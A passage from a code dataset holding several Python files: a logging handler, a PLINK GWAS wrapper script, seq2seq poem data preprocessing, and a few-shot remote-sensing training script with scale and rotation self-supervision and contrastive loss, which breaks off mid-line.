[{"api_name": "torch.unique", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 85, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 94, "usage_type": "call"}, {"api_name": "mmdet.core.bbox2result", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 105, "usage_type": "attribute"}]} +{"seq_id": "7655226405", "text": "import os\nimport logging\n\nCRITICAL = 50\nFATAL = CRITICAL\nERROR = 40\nWARNING = 30\nWARN = WARNING\nINFO = 20\nDEBUG = 10\nNOTSET = 0\n\nCURRENT_PATH = os.path.dirname(os.path.abspath(__file__))\nROOT_PATH = os.path.join(CURRENT_PATH, os.pardir)\nLOG_PATH = os.path.join(ROOT_PATH, 'log')\n\n\nclass Loghandler(logging.Logger):\n def __init__(self, name, level=DEBUG, stream=True, file=True):\n self.name = name\n self.level = level\n logging.Logger.__init__(self, self.name, level=level)\n if stream:\n self.__setStreamHandler__()\n # if file:\n # self.__setFileHandler__()\n\n def __setStreamHandler__(self, level=None):\n stream_handler = logging.StreamHandler()\n formatter = logging.Formatter('%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s %(message)s')\n stream_handler.setFormatter(formatter)\n if not level:\n stream_handler.setLevel(self.level)\n else:\n stream_handler.setLevel(level)\n self.addHandler(stream_handler)\n\n\nif __name__ == \"__main__\":\n log = Loghandler('liao')\n # log.info(\"%s, %s, %s\" % (CURRENT_PATH, ROOT_PATH, LOG_PATH))\n log.info(\"aaaa, {0}, {1}\".format('haha', 'gaga'))\n", "repo_name": "liaohongdong/novel-scrapy", "sub_path": "novel_scrapy/common/LogHandler.py", "file_name": "LogHandler.py", "file_ext": "py", "file_size_in_byte": 1216, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.pardir", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "logging.Logger", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.Logger.__init__", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.Logger", "line_number": 22, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "37136558379", "text": "import argparse\nparser = argparse.ArgumentParser(prog='direction_xtyi.py', description='''\n This script takes a collection of covariate files and a genotype file in PLINK format.\n For each covariate, it calls plink to run GWAS (logistic regression) with the covariate\n''')\nparser.add_argument('--inputs', nargs = '+', help = 'a collection of covariates')\nparser.add_argument('--outputs', nargs = '+', help = 'a collection of output file prefix in plink')\nparser.add_argument('--geno_prefix', help = 'prefix of genotype file')\nargs = parser.parse_args()\n\nimport sys, os\n\nif len(args.inputs) != len(args.outputs):\n print('The number of input is different from the output. Exit!')\n sys.exit()\n\nn = len(args.inputs)\nfor i in range(n):\n cov_i = args.inputs[i]\n out_i = args.outputs[i]\n cmd = 'plink --noweb \\\n --bed {geno}.bed \\\n --bim {geno}.bim \\\n --fam {geno}.fam \\\n --allow-no-sex \\\n --logistic \\\n --covar {cov} \\\n --covar-name PRS \\\n --out {out}'.format(geno = args.geno_prefix,\n cov = cov_i,\n out = out_i)\n os.system(cmd)\n", "repo_name": "liangyy/phenotype-epistasis", "sub_path": "code/step2/scripts/direction_xtyi.py", "file_name": "direction_xtyi.py", "file_ext": "py", "file_size_in_byte": 1157, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 15, "usage_type": "call"}, {"api_name": "os.system", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "34225445763", "text": "import tensorflow as tf\n\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\nimport numpy as np\nimport json\nimport os\nimport re\n\nfrom gensim.models import Word2Vec\n\nfrom configs import DEFINES\n\n\ndef get_embedding_matrix(data_path, embedding_path, i2t):\n if os.path.isfile(embedding_path):\n return np.load(open(embedding_path, 'rb')).astype(np.float32)\n else:\n make_embedding(data_path, embedding_path, i2t)\n return np.load(open(embedding_path, 'rb')).astype(np.float32)\n\n\ndef make_embedding(data_path, embedding_path, i2t):\n\n all_sent = []\n token_sent = []\n filter = re.compile(\"([~.,!?\\\"':;)(<=>&%$#@_\\]\\[\\+\\-\\*\\^])\")\n\n data = json.load(open(data_path, 'r', encoding = 'utf-8'))\n\n for v in data.values():\n all_sent.extend(v)\n\n for v in all_sent:\n token_sent.append(re.sub(filter,\"\",v).split())\n\n model = Word2Vec(token_sent,\n size = DEFINES.embedding_dim,\n window=5,\n min_count=1,\n workers=4,\n sg=1,\n iter = 10,\n sample = 1e-3)\n\n embedding_matrix = special_token_embedding(model)\n unk = embedding_matrix[3]\n\n for i, t in i2t.items():\n if i>3:\n if t in model.wv.vocab:\n embedding_matrix.append(model.wv.word_vec(t))\n else:\n embedding_matrix.append(unk)\n\n np.save(open(embedding_path, 'wb'), np.stack(embedding_matrix))\n\n\ndef special_token_embedding(model):\n pad = np.zeros(shape = (DEFINES.embedding_dim), dtype=np.float32)\n start = np.random.uniform(low=model.wv.vectors.min(), high=model.wv.vectors.max(), size=(DEFINES.embedding_dim))\n end = np.random.uniform(low=model.wv.vectors.min(), high=model.wv.vectors.max(), size=(DEFINES.embedding_dim))\n unk = np.random.uniform(low=model.wv.vectors.min(), high=model.wv.vectors.max(), size=(DEFINES.embedding_dim))\n\n return [pad, start, end, unk]\n\n\n\n\n\n\n\ndef make_vocab(vocab, pad, start, end, unk):\n\n t2i = {'<PAD>': pad, '<BOS>': start, '<EOS>': end, '<UNK>': unk}\n i2t = {pad: '<PAD>', start: '<BOS>', end: '<EOS>', unk: '<UNK>'}\n\n for word, idx in vocab.items():\n t2i[word] = idx + 3\n i2t[idx + 3] = word\n\n return t2i, i2t\n\ndef load_data(file_path):\n '''\n Load numpy data\n\n Args:\n inputs: json data file path, key => title, value => poem contents\n\n Return:\n inputs:\n labels:\n t2i:\n i2t:\n '''\n\n pad_token = 0 # <PAD>\n start_token = 1 # <BOS>\n end_token = 2 # <EOS>\n unk_token = 3 #<UNK>\n\n\n data = json.load(open(file_path, 'r', encoding='utf-8'))\n data_list = []\n all_sentences = []\n\n for poem in data.values():\n data_list.append(poem)\n all_sentences.extend(poem)\n\n source = []\n target = []\n\n for item in data_list:\n source.extend(item[:-1])\n target.extend(item[1:])\n\n max_len = int(round(np.percentile(np.array([len(x.split(' ')) for x in all_sentences]), 99)))\n\n tokenizer = Tokenizer()\n tokenizer.fit_on_texts(all_sentences)\n source = tokenizer.texts_to_sequences(source)\n target = tokenizer.texts_to_sequences(target)\n\n assert len(source) == len(target)\n\n for i in range(len(source)):\n source[i] = np.add(source[i], 3)\n target[i] = np.hstack(([start_token], np.add(target[i], 3), [end_token]))\n\n inputs = pad_sequences(source, maxlen=max_len, padding = 'post')\n labels = pad_sequences(target, maxlen=max_len+2, padding = 'post')\n\n\n t2i, i2t = make_vocab(tokenizer.word_index, pad_token, start_token, end_token, unk_token)\n\n return inputs, labels, t2i, i2t, max_len\n\ndef mapping_fn(enc_input, dec_input, dec_target):\n features = {\"encoer_inputs\": enc_input, \"decoder_inputs\": dec_input}\n labels = dec_target\n return features, labels\n\n\ndef train_input_fn(encoder_inputs, decoder_inputs, decoder_targets):\n dataset = tf.data.Dataset.from_tensor_slices((encoder_inputs, decoder_inputs, decoder_targets))\n dataset = dataset.shuffle(len(encoder_inputs))\n dataset = dataset.batch(DEFINES.batch_size)\n dataset = dataset.map(mapping_fn)\n dataset = dataset.repeat(DEFINES.epoch)\n iterator = dataset.make_one_shot_iterator()\n\n return iterator.get_next()\n\ndef token2str(token_data, i2t):\n output = []\n\n for idx in token_data:\n if idx > 2:\n output.append(i2t[idx])\n\n return ' '.join(output)\n\ndef str2token(str_data, t2i, max_len):\n output = []\n data = str_data.split()\n\n for token in data:\n output.append(t2i[token])\n\n pad = [0]*(max_len-len(output))\n\n return np.array(output+pad)\n", "repo_name": "reniew/Seq2seq_poem_generation", "sub_path": "data_process.py", "file_name": "data_process.py", "file_ext": "py", "file_size_in_byte": 4738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.isfile", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 21, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 28, "usage_type": "call"}, {"api_name": "json.load", "line_number": 30, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 36, "usage_type": "call"}, {"api_name": "gensim.models.Word2Vec", "line_number": 38, "usage_type": "call"}, {"api_name": "configs.DEFINES.embedding_dim", "line_number": 39, "usage_type": "attribute"}, {"api_name": "configs.DEFINES", "line_number": 39, "usage_type": "name"}, {"api_name": "numpy.save", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 61, "usage_type": "call"}, {"api_name": "configs.DEFINES.embedding_dim", "line_number": 61, "usage_type": "attribute"}, {"api_name": "configs.DEFINES", "line_number": 61, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 62, "usage_type": "attribute"}, {"api_name": "configs.DEFINES.embedding_dim", "line_number": 62, "usage_type": "attribute"}, {"api_name": "configs.DEFINES", "line_number": 62, "usage_type": "name"}, {"api_name": "numpy.random.uniform", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 63, "usage_type": "attribute"}, {"api_name": "configs.DEFINES.embedding_dim", "line_number": 63, "usage_type": "attribute"}, {"api_name": "configs.DEFINES", "line_number": 63, "usage_type": "name"}, {"api_name": "numpy.random.uniform", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 64, "usage_type": "attribute"}, {"api_name": "configs.DEFINES.embedding_dim", "line_number": 64, "usage_type": "attribute"}, {"api_name": "configs.DEFINES", "line_number": 64, "usage_type": "name"}, {"api_name": "json.load", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.text.Tokenizer", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 148, "usage_type": "attribute"}, {"api_name": "configs.DEFINES.batch_size", "line_number": 150, "usage_type": "attribute"}, {"api_name": "configs.DEFINES", "line_number": 150, "usage_type": "name"}, {"api_name": "configs.DEFINES.epoch", "line_number": 152, "usage_type": "attribute"}, {"api_name": "configs.DEFINES", "line_number": 152, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 175, "usage_type": "call"}]} +{"seq_id": "10705438734", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 8 11:16:53 2021\n\n@author: Eric\n\"\"\"\n\nimport argparse\nimport os\nimport torch\nimport torch.nn as nn\nfrom torch.nn import parameter\nfrom torch.utils.data import DataLoader\nfrom torchvision.transforms.functional import scale\nfrom UCM import UCMercedLand\nfrom sampler import CategoriesSampler\nfrom convnet import Convnet, S_Classifier, R_Classifier\nfrom utils import Averager, Timer, count_acc, euclidean_metric, euclidean_metric2\n\nfrom torchvision.models import resnet18\nfrom GAM import GAM_Attention\n\nimport torchvision.transforms.functional as TF\nimport torch.nn.functional as F\nfrom DAM import Dynamic_Attention_Module\n\nfrom cl_data_generator import Dy_Data_Generator\nfrom info_nce import InfoNCE \nfrom Dynamic_Parameter import DAM\nimport torch.backends.cudnn as cudnn\nimport numpy as np\nimport random\nfrom AMP_Regularizer.amp import AMP\n# torch.cuda.set_device(0)\ntorch.multiprocessing.set_sharing_strategy('file_system')\ntorch.cuda.manual_seed(1)\n# SEED = 1\n\n# cudnn.benchmark = False\n# cudnn.deterministic = True\n# random.seed(SEED)\n# np.random.seed(SEED+1)\n# torch.manual_seed(SEED+2)\n# torch.autograd.set_detect_anomaly(True)\n# device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n# print(device)\ndevice_ids = [0,1,2,3]#0, 1 card\n\n\ndef log(path,filename,data):\n best_item = 0.0\n with open(os.path.join(path,filename),'w') as f:\n for item in data:\n f.write(\"%.4f\\n\"%item)\n if item >= best_item:\n best_item = item\n f.write(\"best_acc {:.4f}\".format(best_item))\n f.close()\n\ndef log_test(path,filename,data):\n best_item = 0.0\n with open(os.path.join(path, filename), 'w') as f:\n for item in data:\n f.write(\"%.4f\\n\"%item)\n if item >= best_item:\n best_item = item\n f.write(\"best_acc {:.4f}\".format(best_item))\n f.close()\n\ndef cos_dist(x, y):\n n = x.size(0) # query\n m = y.size(0) # shot\n d = x.size(1) # dim\n assert d == y.size(1)\n\n x_lst = [x[i] for i in range(n)]\n cos_lst = []\n for x_c in x_lst:\n x_c = x_c.unsqueeze(0)\n cos = (F.cosine_similarity(x_c, y, dim=1))*10\n cos_lst.append(cos)\n cosi = torch.cat(cos_lst, dim=0).view(n,m)\n return cosi\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--epochs', type=int, default=40)\n parser.add_argument('--episode', type=int, default=100)\n parser.add_argument('--shot', type=int, default=5)\n parser.add_argument('--query', type=int, default=10)\n parser.add_argument('--train_way', type=int, default=5)\n parser.add_argument('--test_way', type=int, default=5)\n parser.add_argument('--numworkers', type=int, default=8)\n parser.add_argument('--lr', type=float, default=1e-4)\n parser.add_argument('--weight_decay', type=float, default=5e-4)\n parser.add_argument('--step_size',type=int, default=5)\n parser.add_argument('--dataset', type=str, default='UC_Merced')\n parser.add_argument('--experiment_time',type=str, default='2')\n parser.add_argument('--metric',type=str,default='euclidean',choices=['euclidean','cosine_similarity'])\n parser.add_argument('--embed_dim',type=int, default=1600)\n parser.add_argument('--trans_num',type=int, default=4)\n parser.add_argument('--dynamic_hyperparameter',type=str, default=False)\n parser.add_argument('--alpha',type=float, default=0.5)\n parser.add_argument('--beta',type=float, default=0.5)\n # parser.add_argument('--ld',type=float, default=0.5)\n # parser.add_argument('--gamma',type=float, default=0.5)\n parser.add_argument('--scale1', type=int, default = 204)\n parser.add_argument('--scale2', type=int, default = 184)\n parser.add_argument('--scale3', type=int, default=164)\n parser.add_argument('--dim',type=int, default=1000)\n parser.add_argument('--dam_dim',type=int, default=4)\n parser.add_argument('--backbone',type=str, default='Convnet')\n parser.add_argument('--reduce_intra_variance',type=bool, default=True)\n \n args = parser.parse_args()\n print(vars(args))\n\n label_dict = {'UC_Merced': 21, 'NWPU': 45, 'AID': 30}\n label_dim = label_dict[args.dataset]\n\n log_path={\n 'UC_Merced':\"/home/Eric/research/MPCL/log/amp/UC_Merced/\",\n 'AID':\"/home/Eric/research/MPCL/log/amp/AID/\",\n 'NWPU':\"/home/Eric/research/MPCL/log/amp/NWPU/\"\n }\n\n csv_path = {\n 'UC_Merced':\"/home/Eric/research/MPCL/data_csv/UC_Merced/\",\n 'AID':\"/home/Eric/research/MPCL/data_csv/AID/\",\n 'NWPU':\"/home/Eric/research/MPCL/data_csv/NWPU/\"\n }\n\n txt_name=['train_acc_history'+args.experiment_time+'.txt','train_loss_history'+args.experiment_time+'.txt','val_acc_history'+args.experiment_time+'.txt']\n\n data_path={\n 'UC_Merced':\"/home/Eric/research/TD-PN-DCNN-main/UC_Merced\",\n 'AID':\"/home/Eric/research/CPT/AID\",\n 'NWPU':\"/home/Eric/research/TD-PN-DCNN-main/NWPU\"\n }\n \n data_dir = data_path[args.dataset]\n log_dir = log_path[args.dataset]+str(args.test_way)+'way_'+str(args.shot)+'shot/'\n csv_dir = csv_path[args.dataset]\n\n trainset = UCMercedLand(data_dir, csv_dir, 'train')\n train_sampler = CategoriesSampler(trainset.label, args.episode,\n args.train_way, args.shot+args.query)\n train_loader = DataLoader(dataset=trainset, batch_sampler=train_sampler,\n num_workers = args.numworkers)\n \n valset = UCMercedLand( data_dir, csv_dir, 'val')\n val_sampler = CategoriesSampler(valset.label, args.episode,\n args.test_way, args.shot+args.query)\n val_loader = DataLoader(dataset=valset, batch_sampler=val_sampler,\n num_workers = args.numworkers)\n\n \n \n model = Convnet()\n model = torch.nn.DataParallel(model, device_ids=device_ids)\n model = model.cuda(device=device_ids[0])\n dim1 = args.dim\n dim2 = 600\n scale_classifier = S_Classifier().cuda(device=device_ids[0])\n rot_classifier = R_Classifier().cuda(device=device_ids[0])\n scale_dynamic = DAM(args.embed_dim, args.dam_dim).cuda(device=device_ids[0])\n rot_dynamic = DAM(args.embed_dim, args.dam_dim).cuda(device=device_ids[0])\n # dam = Dynamic_Attention_Module(args.train_way*args.train_way*args.query).to(device)\n # print(args.train_way*args.train_way*args.query)\n \n\n criterion = nn.CrossEntropyLoss().cuda(device=device_ids[0])\n KDloss = nn.KLDivLoss(reduce=True).cuda(device=device_ids[0]) # logitis_aug = F.log_softmax(logitis_aug, -1)\n MSELoss = nn.MSELoss().cuda(device=device_ids[0])\n contrastive_loss = InfoNCE().cuda(device=device_ids[0])\n \n cl_sample_generator = Dy_Data_Generator().cuda(device=device_ids[0])\n # optimizer = torch.optim.SGD( [{'params': model.parameters()},\n # {'params':scale_classifier.parameters()},\n # {'params':rot_classifier.parameters()},\n # {'params':scale_dynamic.parameters()},\n # {'params':rot_dynamic.parameters()}],\n # lr = 0.01,\n # momentum = 0.9,\n # weight_decay=args.weight_decay)\n\n optimizer = AMP([{'params': model.parameters()},\n {'params':scale_classifier.parameters()},\n {'params':rot_classifier.parameters()},\n {'params':scale_dynamic.parameters()},\n {'params':rot_dynamic.parameters()}], \n lr=0.01, epsilon=0.5, momentum=0.9)\n \n \n # optimizer = torch.optim.Adam( [{'params': model.parameters()},\n # {'params':scale_classifier.parameters()},\n # {'params':rot_classifier.parameters()},\n # {'params':scale_dynamic.parameters()},\n # {'params':rot_dynamic.parameters()}],\n # lr = args.lr,\n # weight_decay=args.weight_decay)\n # scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=args.step_size, gamma=0.2)\n\n\n best_acc = 0.0\n train_acc_history = []\n train_loss_history = []\n val_acc_history = []\n\n # 记录实验设置\n with open(os.path.join(log_dir, 'setting'+args.experiment_time+'.txt'), 'w') as f:\n for k,v in vars(args).items():\n f.write('{}:{}\\n'.format(k,v))\n f.close()\n\n \n timer = Timer()\n\n for epoch in range(1, args.epochs + 1):\n tl = Averager()\n ta = Averager()\n model.train()\n scale_classifier.train()\n rot_classifier.train()\n rot_dynamic.train()\n scale_dynamic.train()\n acc_train = 0.0\n for i, batch in enumerate(train_loader,1):\n def closure():\n lr = optimizer.state_dict()['param_groups'][0]['lr']\n scale_84, _ = [_.cuda() for _ in batch]\n p = args.shot * args.train_way\n \n scale_104 = TF.resize(scale_84, (args.scale3,args.scale3))\n scale_124 = TF.resize(scale_84, (args.scale2,args.scale2))\n scale_144 = TF.resize(scale_84, (args.scale1,args.scale1))\n \n rot_90 = TF.rotate(scale_84, 90)\n rot_180 = TF.rotate(scale_84, 180)\n rot_270 = TF.rotate(scale_84, 270)\n \n \n # data_shot, data_query = data[:p], data[p:]\n scale_84_fs = model(scale_84)\n scale_104_fs = model(scale_104)\n scale_124_fs = model(scale_124)\n scale_144_fs = model(scale_144)\n\n\n rot_0_fs = model(scale_84)\n rot_90_fs = model(rot_90)\n rot_180_fs = model(rot_180)\n rot_270_fs = model(rot_270)\n\n # scale self-supervision\n shot_84, query_84 = scale_84_fs[:p], scale_84_fs[p:]\n proto_84 = shot_84.reshape(args.shot, args.train_way, -1).mean(dim=0)\n # print(proto_84.size())\n ax = scale_dynamic(proto_84)\n # print(ax.size())\n p_ld = ax[:,0]\n n_ld = ax[:,1]\n # print(p_ld.size())\n # print(n_ld.size())\n anchor_84, p_84, n_84 = cl_sample_generator(proto_84,p_ld,n_ld)\n \n logits_84 = euclidean_metric(query_84, proto_84)\n # nq_logits_84 = euclidean_metric(nq_84, proto_84)\n cl_84 = contrastive_loss(anchor_84, p_84, n_84)\n\n shot_104, query_104 = scale_104_fs[:p], scale_104_fs[p:]\n proto_104 = shot_104.reshape(args.shot, args.train_way, -1).mean(dim=0)\n ax = scale_dynamic(proto_104)\n p_ld = ax[:,0]\n n_ld = ax[:,1]\n anchor_104, p_104, n_104 = cl_sample_generator(proto_104,p_ld,n_ld)\n # nq_104 = pip_query(query_104,args.gamma)\n # q_104 = cutmix_proto(dim2, query_104)\n logits_104 = euclidean_metric(query_104, proto_104)\n # nq_logits_104 = euclidean_metric(nq_104, proto_104)\n cl_104 = contrastive_loss(anchor_104, p_104, n_104)\n\n shot_124, query_124 = scale_124_fs[:p], scale_124_fs[p:]\n proto_124 = shot_124.reshape(args.shot, args.train_way, -1).mean(dim=0)\n ax = scale_dynamic(proto_124)\n p_ld = ax[:,0]\n n_ld = ax[:,1]\n anchor_124, p_124, n_124 = cl_sample_generator(proto_124,p_ld,n_ld)\n # nq_124 = pip_query(query_124,args.gamma)\n # q_124 = cutmix_proto(dim2, query_124)\n logits_124 = euclidean_metric(query_124, proto_124)\n # nq_logits_124 = euclidean_metric(nq_124, proto_124)\n cl_124 = contrastive_loss(anchor_124, p_124, n_124)\n\n shot_144, query_144 = scale_144_fs[:p], scale_144_fs[p:]\n proto_144 = shot_144.reshape(args.shot, args.train_way, -1).mean(dim=0)\n ax = scale_dynamic(proto_144)\n p_ld = ax[:,0]\n n_ld = ax[:,1]\n anchor_144, p_144, n_144 = cl_sample_generator(proto_144,p_ld,n_ld)\n # nq_144 = pip_query(query_144,args.gamma)\n # q_144 = cutmix_proto(dim2, query_144)\n logits_144 = euclidean_metric(query_144, proto_144)\n # nq_logits_144 = euclidean_metric(nq_144, proto_144)\n cl_144 = contrastive_loss(anchor_144, p_144, n_144)\n\n logits_dict = [logits_84, logits_104, logits_124, logits_144]\n cl_scale_dict = [cl_84, cl_104, cl_124, cl_144]\n # nq_scale_dict = [nq_84, nq_104, nq_124, nq_144]\n scale_fs_dict = [scale_84_fs, scale_104_fs, scale_124_fs, scale_144_fs]\n # logits = torch.cat(logits, 0)\n scale_fs = torch.cat(scale_fs_dict, 0)\n\n ## 1nd: scale label\n scale_label = torch.arange(args.trans_num, dtype=torch.int8).view(-1, 1).repeat(1, args.query*args.train_way+args.shot*args.train_way).type(torch.LongTensor)\n scale_label = scale_label.view(-1).cuda()\n ## 2nd: fsl label\n fsl_label = torch.arange(args.train_way, dtype=torch.int8).repeat(args.query).type(torch.LongTensor).cuda()\n ## 3nd: noisy_query label\n # nq_label = fsl_label\n\n # scale loss\n \n scale_pred = scale_classifier(scale_fs)\n scale_loss = criterion(scale_pred, scale_label)\n\n # MI mutual information: KD loss\n raw_logits = sum(logits_dict) / len(logits_dict)\n raw_logits = F.log_softmax(raw_logits, -1)\n MI_losses = [F.kl_div(raw_logits, F.softmax(logits, -1), size_average=True) for logits in logits_dict]\n scale_MI_loss = sum(MI_losses) / len(MI_losses)\n\n # nq_raw_logits = sum(nq_logits_dict) / len(nq_logits_dict)\n # nq_raw_logits = F.log_softmax(nq_raw_logits, -1)\n # nq_MI_losses = [F.kl_div(nq_raw_logits, F.softmax(logits, -1), size_average=True) for logits in nq_logits_dict]\n # nq_scale_MI_loss = sum(nq_MI_losses) / len(nq_MI_losses)\n\n # fsl loss for all the tasks copy\n scale_fsl_losses = [F.cross_entropy(logits, fsl_label) for logits in logits_dict]\n scale_fsl_loss = sum(scale_fsl_losses) / len(scale_fsl_losses)\n\n c_label = torch.arange(args.train_way, dtype=torch.int8).repeat(args.train_way).type(torch.LongTensor).cuda()\n\n # nq_scale_losses = [F.cross_entropy(logits, fsl_label) for logits in nq_scale_dict]\n # nq_scale_loss = sum(nq_scale_losses) / len(nq_scale_losses)\n\n #fsl_loss = F.cross_entropy(raw_logits, fsl_label)\n \n acc_list = [count_acc(logits, fsl_label) for logits in logits_dict] # for 4 single angles tasks\n # nq_acc_list = [count_acc(logits, fsl_label) for logits in nq_logits_dict]\n scale_acc = sum(acc_list)/len(acc_list)\n # nq_scale_acc = sum(nq_acc_list)/len(nq_acc_list)\n final_scale_acc = (scale_acc)\n\n # rotation self-supervision\n shot_0, query_0 = rot_0_fs[:p], rot_0_fs[p:]\n proto_0 = shot_0.reshape(args.shot, args.train_way, -1).mean(dim=0)\n ax = rot_dynamic(proto_0)\n p_ld = ax[:,0]\n n_ld = ax[:,1]\n anchor_0, p_0, n_0 = cl_sample_generator(proto_0,p_ld,n_ld)\n # q_0 = cutmix_proto(dim2, query_0)\n logits_0 = euclidean_metric(query_0, proto_0)\n # nq_logits_0 = euclidean_metric(query_0, proto_0)\n cl_0 = contrastive_loss(anchor_0, p_0, n_0)\n # print(cl_0)\n\n shot_90, query_90 = rot_90_fs[:p], rot_90_fs[p:]\n proto_90 = shot_90.reshape(args.shot, args.train_way, -1).mean(dim=0)\n ax = rot_dynamic(proto_90)\n p_ld = ax[:,0]\n n_ld = ax[:,1]\n anchor_90, p_90, n_90 = cl_sample_generator(proto_90,p_ld,n_ld)\n # q_90 = cutmix_proto(dim2, query_90)\n logits_90 = euclidean_metric(query_90, proto_90)\n # nq_logits_90 = euclidean_metric(query_90, proto_90)\n cl_90 = contrastive_loss(anchor_90, p_90, n_90)\n\n shot_180, query_180 = rot_180_fs[:p], rot_180_fs[p:]\n proto_180 = shot_180.reshape(args.shot, args.train_way, -1).mean(dim=0)\n ax = rot_dynamic(proto_180)\n p_ld = ax[:,0]\n n_ld = ax[:,1]\n anchor_180, p_180, n_180 = cl_sample_generator(proto_180,p_ld,n_ld)\n # q_180 = cutmix_proto(dim2, query_180)\n logits_180 = euclidean_metric(query_180, proto_180)\n # nq_logits_180 = euclidean_metric(query_180, proto_180)\n cl_180 = contrastive_loss(anchor_180, p_180, n_180)\n\n shot_270, query_270 = rot_270_fs[:p], rot_270_fs[p:]\n proto_270 = shot_270.reshape(args.shot, args.train_way, -1).mean(dim=0)\n ax = rot_dynamic(proto_270)\n p_ld = ax[:,0]\n n_ld = ax[:,1]\n anchor_270, p_270, n_270 = cl_sample_generator(proto_270,p_ld,n_ld)\n # q_270 = cutmix_proto(dim2, query_270)\n logits_270 = euclidean_metric(query_270, proto_270)\n # nq_logits_270 = euclidean_metric(query_270, proto_270)\n cl_270 = contrastive_loss(anchor_270, p_270, n_270)\n\n logits_dict = [logits_0, logits_90, logits_180, logits_270]\n cl_rot_dict = [cl_0, cl_90, cl_180, cl_270]\n # nq_rot_dict = [nq_0, nq_90, nq_180, nq_270]\n rot_fs_dict = [rot_0_fs, rot_90_fs, rot_180_fs, rot_270_fs]\n # logits = torch.cat(logits, 0)\n rot_fs = torch.cat(rot_fs_dict, 0)\n\n ## 1nd: rotation label\n rot_label = torch.arange(args.trans_num, dtype=torch.int8).view(-1, 1).repeat(1, args.query*args.train_way+args.shot*args.train_way).type(torch.LongTensor)\n rot_label = rot_label.view(-1).cuda()\n ## 2nd: fsl label\n fsl_label = torch.arange(args.train_way, dtype=torch.int8).repeat(args.query).type(torch.LongTensor).cuda()\n\n # rotation loss\n \n rot_pred = rot_classifier(rot_fs)\n rot_loss = criterion(rot_pred, rot_label)\n\n # MI mutual information: KD loss\n raw_logits = sum(logits_dict) / len(logits_dict)\n raw_logits = F.log_softmax(raw_logits, -1)\n MI_losses = [F.kl_div(raw_logits, F.softmax(logits, -1), size_average=True) for logits in logits_dict]\n rot_MI_loss = sum(MI_losses) / len(MI_losses)\n\n # contrastive loss\n cl_rot_loss = sum(cl_rot_dict)/len(cl_rot_dict)\n cl_scale_loss = sum(cl_scale_dict)/len(cl_scale_dict)\n # cl_loss = cl_84\n\n # fsl loss for all the tasks copy\n fsl_losses = [F.cross_entropy(logits, fsl_label) for logits in logits_dict]\n rot_fsl_loss = sum(fsl_losses) / len(fsl_losses)\n\n # nq_rot_losses = [F.cross_entropy(logits, fsl_label) for logits in nq_rot_dict]\n # nq_rot_loss = sum(nq_rot_losses) / len(nq_rot_losses)\n \n #fsl_loss = F.cross_entropy(raw_logits, fsl_label)\n\n acc_list = 